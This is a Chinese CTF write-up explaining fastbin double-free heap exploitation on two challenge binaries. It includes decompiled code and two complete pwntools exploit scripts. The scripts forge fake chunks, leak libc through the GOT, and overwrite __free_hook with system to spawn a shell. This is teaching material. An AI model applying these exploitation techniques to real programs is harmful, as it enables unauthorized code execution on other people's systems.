Fastbin Double Free 是指 fastbin 的 chunk 可以被多次释放,因此可以在 fastbin 链表中存在多次。这样导致的后果是多次分配可以从 fastbin 链表中取出同一个堆块,相当于多个指针指向同一个堆块,结合堆块的数据内容可以实现类似于类型混淆 (type confused) 的效果。(即可以构造假的chunk实现任意地址写)
直接拖进ida进行分析
void __fastcall main(__int64 a1, char **a2, char **a3)
{
int v3; // ebx
int v4; // [rsp+Ch] [rbp-44h]
int v5; // [rsp+10h] [rbp-40h]
__gid_t rgid; // [rsp+14h] [rbp-3Ch]
__int64 v7; // [rsp+18h] [rbp-38h]
__int64 v8; // [rsp+20h] [rbp-30h]
__int64 v9; // [rsp+28h] [rbp-28h]
__int64 v10; // [rsp+30h] [rbp-20h]
unsigned __int64 v11; // [rsp+38h] [rbp-18h]
v11 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
rgid = getegid();
setresgid(rgid, rgid, rgid);
v8 = 0LL;
puts("After defeating the Demon Dragon, you turned yourself into the Demon Dragon...");
while ( 2 )
{
v10 = 0LL;
sub_A50();
//===============菜单函数==============//
// puts("1. Capture a human"); //
//puts("2. Eat a human"); //
//puts("3. Cook a human"); //
//puts("4. Find your lair"); //
//puts("5. Move to another kingdom"); //
//puts("6. Commit suicide"); //
//====================================//
_isoc99_scanf("%d", &v4);
switch ( (unsigned int)off_F70 )
{
case 1u:
if ( dword_20202C >= 7 ) //最多只可以抓7个人
{
puts("You can't capture more people.");
}
else
{
v3 = dword_20202C;
qword_202040[v3] = malloc(8uLL);//为每个人malloc一块空间,将返回的指针存入qword_202040数组中
++dword_20202C;
puts("Captured.");
}
continue;
case 2u:
puts("Index:");
_isoc99_scanf("%d", &v5);
//free掉对应的chunk块,但这里要注意,free掉对应的chunk块之后并没有将指针置NULL。这就是本题漏洞所在
free(qword_202040[v5]);
puts("Eaten.");
continue;
case 3u:
puts("Index:");
_isoc99_scanf("%d", &v5);
puts("Ingredient:");
//编辑对应的堆块内容
_isoc99_scanf("%llu", &v10);
*(_QWORD *)qword_202040[v5] = v10;
puts("Cooked.");
continue;
case 4u:
//打印v7变量的地址
printf("Your lair is at: %pn", &v7);
continue;
case 5u:
//为v7变量赋值
puts("Which kingdom?");
_isoc99_scanf("%llu", &v9);
v7 = v9;
puts("Moved.");
continue;
case 6u:
//如果v8变量的值等于0xDEADBEEF,则执行后门函数,否则退出程序
if ( v8 == 0xDEADBEEFLL )
system("/bin/sh");
puts("Now, there's no Demon Dragon anymore...");
break;
default:
goto LABEL_13;
}
break;
}
LABEL_13:
exit(1);
}
根据伪代码分析可以知道我们现在要解决的问题是如何让v8= 0xDEADBEEF,但是由于v8是一个栈上地址,程序所提供的功能无法对栈上的地址进行修改。分析到这里可以比较自然的想到要使用double free实现任意地址写。具体怎么实现我们接下一步步讲解。
首先,既然要利用double free漏洞,那必须先构造出double free。double free顾名思义就是一个堆块被free了两次,但我们不能直接连续free同一个chunk两次。因为这会被安全检测机制检测到,所以我们需要在中间插入另一个chunk进行free,绕过安全检测机制。实际操作如下:
def dbg():
gdb.attach(p)
pause()
# start
def add():
sla('> ','1')
def delete(index):
sla('> ','2')
sla(':n',str(index))
def edit(index,content):
sla('> ','3')
sla(':n',str(index))
sla(':n',content)
def show():
sla('> ','4')
ru('0x')
return int(ru('n'),16)
def move(dest):
sla('> ','5')
sla('?n', str(dest))
add() # 0
add() # 1
delete(0)
delete(1)
delete(0)
我们add了people 0 和 people 1,并且根据0,1,0顺序进行delete。可以到看fastbin中出现了类似于循环链表的情况,且people 0 对应的chunk被free了两次。
我们继续add两次,得到people 2 和 people 3,但这里其实申请的是在fastbin中的chunk0和chunk1,所以此时fastbin中还剩下一个chunk0的指针,要注意此时的chunk0虽然依旧是处于free状态的,但是我们可以对chunk0的数据部分进行读写,即可以修改其的fd指针。
回到最开始的问题如何修改栈上变量v8的值?解决方法是在变量v8处构造一个fake chunk,再通过修改chunk0的fd指针将fake chunk链接到fastbin中。这样我们就可以申请到fake chunk,并且可以对数据进行修改,即修改变量v8的值。
#设置fake chunk的size字段为0x20,与chunk0的大小相同,从而实现链接
move(0x20)
#根据show打印出的变量v7的地址减8计算出fake chunk的chunk头指针
fake = show()-8 #fake = 0x7ffc8a811c98-0x8 ==> 0x7ffc8a811c90
print hex(fake)
#将fake chunk的chunk头指针写入chunk0的fd指针处
edit(2,fake)
add() # 4
add() # 5
edit(5,0xdeadbeef)
#由于不是同一次调试,所以fake chunk的地址不同。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wDhCv4cc-1594640257910)(https://tva1.sinaimg.cn/large/007S8ZIlly1ggp2uop9pqj314c038aav.jpg)]
完整的exp
from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
def ret2libc(leak, func, path=''):
if path == '':
libc = LibcSearcher(func, leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
else:
libc = ELF(path)
base = leak - libc.sym[func]
system = base + libc.sym['system']
binsh = base + libc.search('/bin/sh').next()
return (system, binsh)
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,''))
uu64 = lambda data :u64(data.ljust(8,''))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
context.log_level = 'DEBUG'
binary = './samsara'
context.binary = binary
elf = ELF(binary)
p = process(binary)
def dbg():
gdb.attach(p)
pause()
# start
def add():
sla('> ','1')
def delete(index):
sla('> ','2')
sla(':n',str(index))
def edit(index,content):
sla('> ','3')
sla(':n',str(index))
sla(':n',content)
def show():
sla('> ','4')
ru('0x')
return int(ru('n'),16)
def move(dest):
sla('> ','5')
sla('?n', str(dest))
add() # 0
add() # 1
delete(0)
delete(1)
delete(0)
add() # 2 <-> 0
add() # 3 <-> 1
move(0x20)
fake = show()-8
print hex(fake)
edit(2,fake)
dbg()
add() # 4
add() # 5
edit(5,0xdeadbeef)
sla('> ','6')
# end
itr()
同样拖进ida中进行分析,程序主要有以下功能
首先产看add message功能
根据以上伪代码可以分析得出add一段message后程序会将length存储在数组 4 * i 的位置,而malloc返回的mem指针会存储在数组 4 * i + 2 的位置,实际的message内容存储在chunk中。我们可以add几段message,然后调试看一下数组的存储情况。
调试后发现和伪代码中分析的有一点差别,根据调试结果可以知道实际数组的存储逻辑是在 2 * i 的位置存储length,在 2 * i + 1 的位置存储mem指针。这里ida分析的可能有点问题,以gdb调试的结果为准。
在Delete message中存在漏洞,Delete的时候仅仅free了chunk没有将指针置NULL
edit会根据数组中存储的地址,在对应地址处写入数据
Show会根据数组中存储的地址,读取对应地址的数据
本题没有像上题一样存在后门函数,而且可以查看保护,GOT表是不可写的,因此只能泄露出libc地址,尝试控制程序流。
从程序分析可以知道edit和show功能都是根据数组存储的地址进行操作的,因此设想如果我们可以将数组中存储的地址进行修改,那不就可以实现任意地址的读写了。要修改数组中的地址首先肯定要在数组附近伪造一个fake chunk,再将fake chunk链接到fastbin中,最后申请到这个chunk,实现对数组中地址的修改。
第一步,构造double free
add(0x30) # 0
#这里之所以要把第一个message的length申请为0x30大小,是为了让length成为后面构造的fake chunk的size,使之可以通过检查链接到fastbin中
add(0x20) # 1
add(0x20) # 2
dbg()
free(1)
free(2)
free(1)
第二步,构造fake chunk,将fake chunk链接到fastbin中,并打印出got表中的puts函数
fake = 0x602060-0x8
#0x602060是数组的第0号位置,存储的是刚刚输入的length 0x30作为fake chunk的size字段,而0x602060-0x8得到的就是fake chunk的头指针
add(0x20,p64(fake)) # 3 <-> 1
#修改chunk1的fd指针,将fake chunk链接到fastbin中
add(0x20) # 4 <-> 2
add(0x20) # 5 <-> 1
add(0x20,p64(elf.got['puts'])) # 6 <-> fake
#得倒fake chunk,修改数据部分为p64(elf.got['puts']),即将数组第第1号位置存储的chunk0的mem指针修改为了指向got表中puts函数的地址
show(0)
#此时打印memsage0就可以得到puts函数的真实地址了
ru(': ')
第三步,泄漏libc
puts = uu64(r(6))
print hex(puts)
libc = LibcSearcher('puts', puts)
base = puts - libc.dump('puts')
system = base + libc.dump('system')
free_hook = base + libc.dump('__free_hook')
第四步,让free_hook指向system
edit(6,p64(free_hook))
#编辑memsage6,同之前一样实际修改的是数组的第1号位置,即message0存储数据指针的位置
edit(0,p64(system))
#此时修改message0,就后根据数组存储的free_hook的地址,在free_hook地址处写入system函数地址
add(0x8,'/bin/shx00') # 7
#add一个数据部分为‘/bin/shx00’的message
free(7)
#在执行free函数时会首先检查free_hook是否为空,如果不为空则执行对应的函数,而函数的参数就是chunk的数据部分内容,所以这里free(7)就会执行system(/bin/sh)
print hex(system) #==>0x7f9ad4e543a0
print hex(free_hook) #==>0x7f9ad51d57a8
补充:__free_hook 劫持原理
完整exp:
from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
def ret2libc(leak, func, path=''):
if path == '':
libc = LibcSearcher(func, leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
else:
libc = ELF(path)
base = leak - libc.sym[func]
system = base + libc.sym['system']
binsh = base + libc.search('/bin/sh').next()
return (system, binsh)
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(delim, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(delim, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu64 = lambda data :u64(data.ljust(8,''))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
context.log_level = 'DEBUG'
binary = './ACTF_2019_message'
context.binary = binary
elf = ELF(binary,checksec=False)
p = process(binary)
def dbg():
gdb.attach(p)
pause()
_add,_free,_edit,_show = 1,2,3,4
def add(size,content='a'):
sla(':',_add)
sla(':',size)
sa(':',content)
def free(index):
sla(':',_free)
sla(':',index)
def edit(index,content):
sla(':',_edit)
sla(':',index)
sa(':',content)
def show(index):
sla(':',_show)
sla(':',index)
# start
add(0x30) # 0
add(0x20) # 1
add(0x20) # 2
free(1)
free(2)
free(1)
dbg()
fake = 0x602060-0x8
add(0x20,p64(fake)) # 3 <-> 1
add(0x20) # 4 <-> 2
add(0x20) # 5 <-> 1
add(0x20,p64(elf.got['puts'])) # 6 <-> fake
show(0)
ru(': ')
dbg()
puts = uu64(r(6))
print hex(puts)
libc = LibcSearcher('puts', puts)
base = puts - libc.dump('puts')
system = base + libc.dump('system')
free_hook = base + libc.dump('__free_hook')
print hex(system)
print hex(free_hook)
edit(6,p64(free_hook))
dbg()
edit(0,p64(system))
dbg()
add(0x8,'/bin/shx00') # 7
free(7)
# end
p.interactive()
这两道题都还算比较简单的,double free的核心问题是构造fake chunk以实现任意地址写,而伪造fake chunk的关键就是size字段和fd指针。希望看这些能对你理解double free有一定的帮助,我也是才刚刚开始学习堆的萌新,如果文章中有不对的地方还请师傅们批评指正。
ps:有关tcacha机制的利用打了草稿,还没有整理出来之后再更。
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/fastbin_attack-zh/#fastbin-double-free
https://github.com/SignorMercurio/Heap-Tutorials